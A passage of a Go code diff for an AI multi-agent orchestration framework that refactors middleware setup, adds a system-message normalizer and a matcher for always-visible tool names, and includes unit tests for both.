-	deepOutKey, modelRetry, taskGen := deepExtrasFromConfig(ma)
+	deepOutKey, taskGen := deepExtrasFromConfig(ma)
 
 	var da adk.Agent
 	switch orchMode {
@@ -438,7 +428,7 @@ func RunDeepAgent(
 		// 构建 filesystem 中间件（与 Deep sub-agent 一致）
 		var peFsMw adk.ChatModelAgentMiddleware
 		if einoSkillMW != nil && einoFSTools && einoLoc != nil {
-			peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
+			peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
 			if err != nil {
 				return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
 			}
@@ -453,18 +443,22 @@ func RunDeepAgent(
 			AppCfg:               appCfg,
 			MwCfg:                &ma.EinoMiddleware,
 			ConversationID:       conversationID,
+			DB:                   db,
+			ProjectID:            projectID,
 			Logger:               logger,
 			ModelName:            appCfg.OpenAI.Model,
 			ExecPreMiddlewares:   mainOrchestratorPre,
 			SkillMiddleware:      einoSkillMW,
 			FilesystemMiddleware: peFsMw,
 			ModelFacingTrace:     modelFacingTrace,
-			PlannerReplannerRewriteHandlers: []adk.ChatModelAgentMiddleware{
+			PlannerReplannerRewriteHandlers: appendEinoChatModelTailMiddlewares(nil, einoChatModelTailConfig{
-				mainSumMw,
+				logger:         logger,
-				// 孤儿 tool 消息兜底：必须挂在 summarization 之后、telemetry 之前。
+				phase:          "plan_execute_planner_replanner",
-				newOrphanToolPrunerMiddleware(logger, "plan_execute_planner_replanner"),
+				summarization:  mainSumMw,
-				newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "plan_execute_planner_replanner_rewrite"),
+				modelName:      appCfg.OpenAI.Model,
-			},
+				conversationID: conversationID,
+				skipTrace:      true,
+			}),
 		})
 		if perr != nil {
 			return nil, perr
@@ -481,9 +475,6 @@ func RunDeepAgent(
 			Handlers:      supHandlers,
 			Exit:          &adk.ExitTool{},
 		}
-		if modelRetry != nil {
-			supCfg.ModelRetryConfig = modelRetry
-		}
 		if deepOutKey != "" {
 			supCfg.OutputKey = deepOutKey
 		}
@@ -517,9 +508,6 @@ func RunDeepAgent(
 		if deepOutKey != "" {
 			dcfg.OutputKey = deepOutKey
 		}
-		if modelRetry != nil {
-			dcfg.ModelRetryConfig = modelRetry
-		}
 		if taskGen != nil {
 			dcfg.TaskToolDescriptionGenerator = taskGen
 		}
@@ -565,6 +553,7 @@ func RunDeepAgent(
 		McpIDs:                  &mcpIDs,
 		FilesystemMonitorAgent:  ag,
 		FilesystemMonitorRecord: recorder,
+		MCPExecutionBinder:      mcpExecBinder,
 		ToolInvokeNotify:        toolInvokeNotify,
 		DA:                      da,
 		ModelFacingTrace:        modelFacingTrace,

internal/multiagent/system_message_normalizer_middleware.go

@@ -0,0 +1,86 @@
+package multiagent
+
+import (
+	"context"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+	"go.uber.org/zap"
+)
+
+// systemMessageNormalizerMiddleware merges duplicate role=system messages into a single
+// leading system message before summarization and each ChatModel call.
+type systemMessageNormalizerMiddleware struct {
+	adk.BaseChatModelAgentMiddleware
+	logger *zap.Logger
+	phase  string
+}
+
+func newSystemMessageNormalizerMiddleware(logger *zap.Logger, phase string) adk.ChatModelAgentMiddleware {
+	return &systemMessageNormalizerMiddleware{logger: logger, phase: phase}
+}
+
+func (m *systemMessageNormalizerMiddleware) BeforeModelRewriteState(
+	ctx context.Context,
+	state *adk.ChatModelAgentState,
+	mc *adk.ModelContext,
+) (context.Context, *adk.ChatModelAgentState, error) {
+	_ = mc
+	if m == nil || state == nil || len(state.Messages) == 0 {
+		return ctx, state, nil
+	}
+	before := countADKSystemMessages(state.Messages)
+	if before <= 1 {
+		return ctx, state, nil
+	}
+	normalized := normalizeSingleLeadingSystemMessage(state.Messages, "")
+	if len(normalized) == len(state.Messages) && countADKSystemMessages(normalized) >= before {
+		return ctx, state, nil
+	}
+	if m.logger != nil {
+		m.logger.Info("eino system messages merged",
+			zap.String("phase", m.phase),
+			zap.Int("system_before", before),
+			zap.Int("system_after", countADKSystemMessages(normalized)),
+			zap.Int("messages_before", len(state.Messages)),
+			zap.Int("messages_after", len(normalized)),
+		)
+	}
+	out := *state
+	out.Messages = normalized
+	return ctx, &out, nil
+}
+
+func countADKSystemMessages(msgs []adk.Message) int {
+	n := 0
+	for _, msg := range msgs {
+		if msg != nil && msg.Role == schema.System {
+			n++
+		}
+	}
+	return n
+}
+
+// stripADKSystemMessages removes all system messages. Use before runner.Run restart when
+// genModelInput will prepend a fresh Instruction.
+func stripADKSystemMessages(msgs []adk.Message) []adk.Message {
+	if len(msgs) == 0 {
+		return msgs
+	}
+	out := make([]adk.Message, 0, len(msgs))
+	for _, msg := range msgs {
+		if msg == nil || msg.Role == schema.System {
+			continue
+		}
+		out = append(out, msg)
+	}
+	return out
+}
+
+// mergeCollectedSystemMessages collapses multiple system messages into one (or none).
+func mergeCollectedSystemMessages(systemMsgs []adk.Message) []adk.Message {
+	if len(systemMsgs) == 0 {
+		return nil
+	}
+	return normalizeSingleLeadingSystemMessage(systemMsgs, "")
+}

internal/multiagent/system_message_normalizer_middleware_test.go

@@ -0,0 +1,75 @@
+package multiagent
+
+import (
+	"context"
+	"testing"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+)
+
+func TestStripADKSystemMessages(t *testing.T) {
+	in := []adk.Message{
+		schema.SystemMessage("a"),
+		schema.UserMessage("u"),
+		schema.SystemMessage("b"),
+		schema.AssistantMessage("x", nil),
+	}
+	out := stripADKSystemMessages(in)
+	if len(out) != 2 {
+		t.Fatalf("got %d messages, want 2", len(out))
+	}
+	if out[0].Role != schema.User || out[1].Role != schema.Assistant {
+		t.Fatalf("unexpected roles: %s, %s", out[0].Role, out[1].Role)
+	}
+}
+
+func TestEinoMessagesForRunRestart_StripsSystemFromTrace(t *testing.T) {
+	holder := newModelFacingTraceHolder()
+	holder.storeFromState(&adk.ChatModelAgentState{Messages: []adk.Message{
+		schema.SystemMessage("sys-1"),
+		schema.SystemMessage("sys-2"),
+		schema.UserMessage("task"),
+	}})
+	msgs, src := einoMessagesForRunRestart(&einoADKRunLoopArgs{ModelFacingTrace: holder}, nil, nil, 0)
+	if src != einoRestartContextModelTrace {
+		t.Fatalf("source: got %q want model_trace", src)
+	}
+	if len(msgs) != 1 || msgs[0].Role != schema.User {
+		t.Fatalf("expected user-only restart msgs, got %+v", msgs)
+	}
+}
+
+func TestSystemMessageNormalizerMiddleware_MergesDuplicates(t *testing.T) {
+	mw := newSystemMessageNormalizerMiddleware(nil, "test")
+	state := &adk.ChatModelAgentState{Messages: []adk.Message{
+		schema.SystemMessage("a"),
+		schema.SystemMessage("b"),
+		schema.UserMessage("u"),
+	}}
+	_, out, err := mw.(*systemMessageNormalizerMiddleware).BeforeModelRewriteState(context.Background(), state, nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if countADKSystemMessages(out.Messages) != 1 {
+		t.Fatalf("want 1 system, got %d", countADKSystemMessages(out.Messages))
+	}
+	if out.Messages[0].Content != "a\n\nb" {
+		t.Fatalf("merged content: %q", out.Messages[0].Content)
+	}
+}
+
+func TestSystemMessageNormalizerMiddleware_NoOpSingleSystem(t *testing.T) {
+	mw := newSystemMessageNormalizerMiddleware(nil, "test")
+	state := &adk.ChatModelAgentState{Messages: []adk.Message{
+		schema.SystemMessage("only"),
+		schema.UserMessage("u"),
+	}}
+	_, out, err := mw.(*systemMessageNormalizerMiddleware).BeforeModelRewriteState(context.Background(), state, nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if out != state {
+		t.Fatalf("expected same state pointer for no-op")
+	}
+}

internal/multiagent/tool_always_visible.go

@@ -0,0 +1,72 @@
+package multiagent
+
+import (
+	"strings"
+)
+
+// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
+// 支持：内置短名 read_file；外部 mcp::tool；运行时 mcp__tool（OpenAI/Eino 命名）。
+func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
+	set := make(map[string]struct{}, len(names)*3)
+	add := func(name string) {
+		n := strings.TrimSpace(strings.ToLower(name))
+		if n == "" {
+			return
+		}
+		set[n] = struct{}{}
+	}
+	for _, raw := range names {
+		n := strings.TrimSpace(strings.ToLower(raw))
+		if n == "" {
+			continue
+		}
+		add(n)
+		if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
+			// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool，避免短名误伤其它 MCP 同名工具。
+			add(mcp + "__" + tool)
+			continue
+		}
+		if idx := strings.LastIndex(n, "__"); idx > 0 {
+			mcp, tool := n[:idx], n[idx+2:]
+			if mcp != "" && tool != "" {
+				add(mcp + "::" + tool)
+			}
+			continue
+		}
+	}
+	return set
+}
+
+// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单（含别名）。
+func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
+	if len(nameSet) == 0 {
+		return false
+	}
+	name := strings.TrimSpace(strings.ToLower(runtimeName))
+	if name == "" {
+		return false
+	}
+	if _, ok := nameSet[name]; ok {
+		return true
+	}
+	if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
+		if _, ok := nameSet[mcp+"__"+tool]; ok {
+			return true
+		}
+		if _, ok := nameSet[tool]; ok {
+			return true
+		}
+	}
+	if idx := strings.LastIndex(name, "__"); idx > 0 {
+		mcp, tool := name[:idx], name[idx+2:]
+		if mcp != "" && tool != "" {
+			if _, ok := nameSet[mcp+"::"+tool]; ok {
+				return true
+			}
+			if _, ok := nameSet[tool]; ok {
+				return true
+			}
+		}
+	}
+	return false
+}

internal/multiagent/tool_always_visible_test.go

@@ -0,0 +1,32 @@
+package multiagent
+
+import "testing"
+
+func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
+	t.Parallel()
+	set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
+
+	cases := []struct {
+		runtime string
+		want    bool
+	}{
+		{"zhidemai__discount_search", true},
+		{"zhidemai::discount_search", true},
+		{"read_file", true},
+		{"zhidemai__product_search_pro", false},
+		{"github__discount_search", false},
+	}
+	for _, tc := range cases {
+		if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
+			t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
+		}
+	}
+}
+
+func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
+	t.Parallel()
+	set := expandAlwaysVisibleNameSet([]string{"discount_search"})
+	if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
+		t.Fatal("legacy short name should match external runtime tool")
+	}
+}